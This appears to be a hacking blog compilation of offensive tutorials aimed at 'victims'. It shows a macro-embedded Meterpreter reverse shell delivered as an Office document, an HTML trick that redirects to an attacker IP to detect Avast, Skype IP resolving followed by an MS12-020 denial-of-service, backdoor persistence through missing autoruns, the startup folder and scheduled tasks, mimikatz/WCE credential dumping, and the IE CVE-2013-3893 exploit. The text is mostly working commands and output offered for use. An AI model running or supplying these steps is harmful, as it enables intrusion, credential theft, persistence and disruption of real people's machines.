Get shell Using Shellcode in Macro.

We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate VB code of our payload.

msfconsole
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 443
generate -t vba
exploit

Now we have generated our shellcode. Now we will create macro.

(1)Open any word or Excell document

(2)Click on view & then click on Macros.

(3)Give name to macro & create macro.

(4)Remove all things from modules windows & Paste our generated VB code.

(5)Saved it as type Word Macro-Enabled Document.

Send this file to victim. By default in MS Office  " Disable all macros with notification " option is enabled , so whenever any document try to execute Macro it will pop up security warning that macro is disable ; so to execute our shellcode using macro victim should click on Enable content.

You have to setup listener to listen reverse connection. If your IP is not available when victim open Document then document will be crash.So now we will setup listener

use exploit/multi/handler
set lhost 192.168.56.102
set lport 443
set payload windows/meterpreter/reverse_tcp
set autorunscript migrate -n explorer.exe
exploit

Here we setup migrate script as autorunscript so when document will closed our shell will not die.

How to detect Avast Antivirus remotely?

During assessment if you know which Anti virus is used by client then you won half battle.Because you can download trial version of that AV & install it in virtual box & try to bypass that AV. So during real assessment your payload or binary don`t get caught.Today we gonna try to detect if client has installed avast or not?

Original video is posted here. In avast their is feature of site blocking ; so if you want to block any site you can put its address in block url section of avast interface.when someone load that site they get response as shown in below image.

In above image you can see that avast logo which address is localhost:12080/$$avast-webshield$$/image001.png . So if in client machine avast is installed than that image is also located at that address , by examine image is exist or not we can know that whether avast is installed or not.

For this purpose victim should visit  our link where we can check about image.So i am gonna use my apache server ; where i put three html page. One is our link which we gonna send to victim ; if image exist it redirect to other document ; & if image does not exist it redirect to third html page.

(1)Make blank html page & give it to name avst.html & put following code in that html page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(2)Now make second html page & give it to name ntavst.html & put same code in that page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(3)Make third & final html page and give it to name exp.html & put following code.

<div dir="ltr" style="text-align: left;" trbidi="on">

<img src="http://127.0.0.1:12080/$$avast-webshield$$"/image001.png" onload="document.location='http://180.215.198.150/avast.html'" onerror="document.location='http://180.215.198.150/ntavast.html'" />

Note:- Change your i.p in above code.

Now put these all document in /var/www/ folder.And send link of exp.html to victim

So if avast installed then it redirect to avast.html page & finally redirect to google.com & if it does not installed then it will redirect to ntavst.html page & then redirect to google.com

Now check your apache log file from \var\log\apache2\log ; you can check if avst.html page has been visited or ntavst.html page.

PS: You can use cobalt strike `s system profiler which get you os version;  browser detail; java version ; adobe reader  version & flash version.

Fun with skype resolver

Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS them.

If your victim is in your friend-list & you are using linux ; then it`s very simple to get his I.P.

netstat -tupan | grep skype > n1

Now chat with your victim; as soon as you got reply use following command.

netstat -tupan | grep skype > n2

diff n1 n2

Now we have I.P. of victim.

In most situation our victim is not in our friend-list. So for that situation, we will going to use online skype resolver.

Use one of following  links to get I.P. of your victim using his skype user-name.

(1)http://www.skyperesolver.com/

(2)http://www.resolveme.org/ 

(3)http://www.speedresolve.com/resolve.php

(4)http://skypegrab.com/skype-beta

(5)http://iskyperesolve.com/

Okay we got I.P. Now you can directly DOS or DDOS( ddos and dos attacks are illegal) them . But we are going to use different technique to shutdown your victim pc using RDP.

First scan ip to find open ports of victim.

root@bt:~# nmap 192.168.56.101

Starting Nmap 6.40 ( http://nmap.org ) at 2013-10-11 18:41 IST
Nmap scan report for 192.168.56.101
Host is up (0.00077s latency).
Not shown: 995 filtered ports
PORT      STATE  SERVICE
139/tcp     open   netbios-ssn
445/tcp     open   microsoft-ds
2869/tcp   closed icslap
3389/tcp   open   ms-wbt-server
10243/tcp closed unknown
MAC Address: 08:00:27:B3:A3:80 (Cadmus Computer Systems)

From result we can see that port 3389 is open which is used for RDP.

Now we will use metasploit Auxiliary module to check vulnerability.

msf > use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(ms12_020_check) > run

[+] 192.168.56.101:3389 Vulnerable to MS12-020
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Okay we got that host is vulnerable to MS12-020.Now we will use metasploit module to Dos that I.p.

msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.56.101:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.56.101:3389 - 210 bytes sent
[*] 192.168.56.101:3389 - Checking RDP status...
[+] 192.168.56.101:3389 seems down
[*] Auxiliary module execution completed

And bingo ; your victim machine should be restarted. :)

Get shell using Missing Autoruns.

In previous post we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access of compromised pc.

(A)When we install program in windows environment , some of them are asking to run at startup times. So these program write its value to windows registry & whenever pc is restarted , program will run in background.When uninstallation of program is not completed ; then it fails to remove its value from registry. So it`s called Missing Autoruns.

After compromised pc ; we have to find missing autoruns in victim machine.For this purpose we will use sysinternal `s autorunsc.exe.

(1)Get meterpreter shell.

(2)Upload sysinternal`s autoruns.exe & autorun.exe to victim machine.

(3)Now from uploaded directory execute following command to get missing autoruns of machine

autorunsc.exe -a | findstr /n /R "File\ not\ found"

(4)Now we have list of file which is missing ; these files are run at startup time.

(5)In my case you can see that uTorrent.exe is missing .

(6)So now i rename my backdoor to uTorrent .exe & uploaded to the path where it`s not found.

Now whenever machine is restarted you get shell.(Don`t forget to running multi/handler!!!)

For just POC ; you can run autorunsc.exe again to find out whether  our backdoor (uTorrent.exe) is written successfully or not?

In above image you can see that  uTorrent.exe is no longer missing which missed in previous step.

(B)Now this is second method; but may be suspicious.

When you put binary in start up folder it will run automatically when pc is started.

Startup Folder Location in windows Xp:-

C:\Documents and Settings\"nirav"\Start Menu\Programs\Startup

Startup Folder location In windows 7:-

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

So upload your binary to start up folder ;make it hidden using following command.
attrb +h backdoor.exe
Restart machine & Hopefully you will get shell.

Schedule Task in windows after Exploitation.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . You can find it here. So i will put  their method here.

After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using Veil.We can also create schedule task for our backdoor.

First create one batch file , put following code in it

@echo off
"C:\Documents and Settings\nirav\Desktop\backdoor.exe"

Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor.

Get clear text password:-

Following are different methods to get clear text password of windows.

(1)using mimikatz or wce get clear text password of victim.

(2) You can also use mimikatz password dump method .

(3)You can also use mimikatz meterpreter plugin which i used in this tutorial.

   meterpreter > load mimikatz
   meterpreter > help mimikatz
   meterpreter > kerberos
   meterpreter > mimikatz_command -h
   meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"

(4)You can use wce & mimikatz in memory without uploading binary.

(a)WCE in memory:-

cd %systemroot%
cd system32
pwd
execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt"
cat foo.txt

(b)Mimikatz in memory:-

cd %systemroot%
cd system32
execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'

So till now i upload one batch file ; backdoor & get clear text password.

Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit here . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell.

C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00

It will ask to enter password which we got before.

You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.

Exploit For All IE version(CVE-2013-3893).

Recently the public has shown a lot of interest in the new Internet Explorer vulnerability (CVE-2013-3893) that has been exploited in the wild, which was initially discovered in Japan. At the time of this writing there is still no patch available, but there is still at least a temporary fix-it that you can apply from Microsoft, which can be downloaded here.

This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well.

For more technical Detail view metasploit blog here . 

The Metasploit module currently can be only tested on Internet Explorer 9 on Windows 7 SP1 with either Office 2007 or Office 2010 installed,


msf > use exploit/windows/browser/ie_setmousecapture_uaf
msf exploit(ie_setmousecapture_uaf) > set srvhost 192.168.56.1
srvhost => 192.168.56.1
msf exploit(ie_setmousecapture_uaf) > set uripath /
uripath => /
msf exploit(ie_setmousecapture_uaf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_setmousecapture_uaf) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ie_setmousecapture_uaf) > set lport 443
lport => 443
msf exploit(ie_setmousecapture_uaf) > run
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.56.1:443
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.


Send this link to victim. As soon as he open link you will get meterpreter shell.

Cyber Warfare - Building Your Nation's Cyber Army - Digital Arm Force

This article will be showing you why we need to really think of our nation’s cyber army. Where we are, which digital weapons we have? What are the challenges faced by your countries in the digital world. So, How to overcome this problem? How to recruit your digital arm force smartly? This article will help the government as well as private security firms too.

         History of Hacking

Over the past years we have seen many big hacking case studies which lead us to think seriously about cyber crime world. Some of the stories I want to share with you.

Moonlight Maze:Although the feds aren't talking publicly about a three-years-plus cyber-attack believed to be coming from Russia, a member of the U.S. National Security Agency's Advisory Board says the case, dubbed "Moonlight Maze," reveals huge cracks in the U.S. government's defense system. The Moonlight Maze stealth attack, which has targeted sensitive but unclassified information since it was launched in March 1998, is the "largest sustained cyber-attack" on the U.S., according to Adams. (Abreu, 2001)

TO READ FULL ARTICLE CLICK HERE...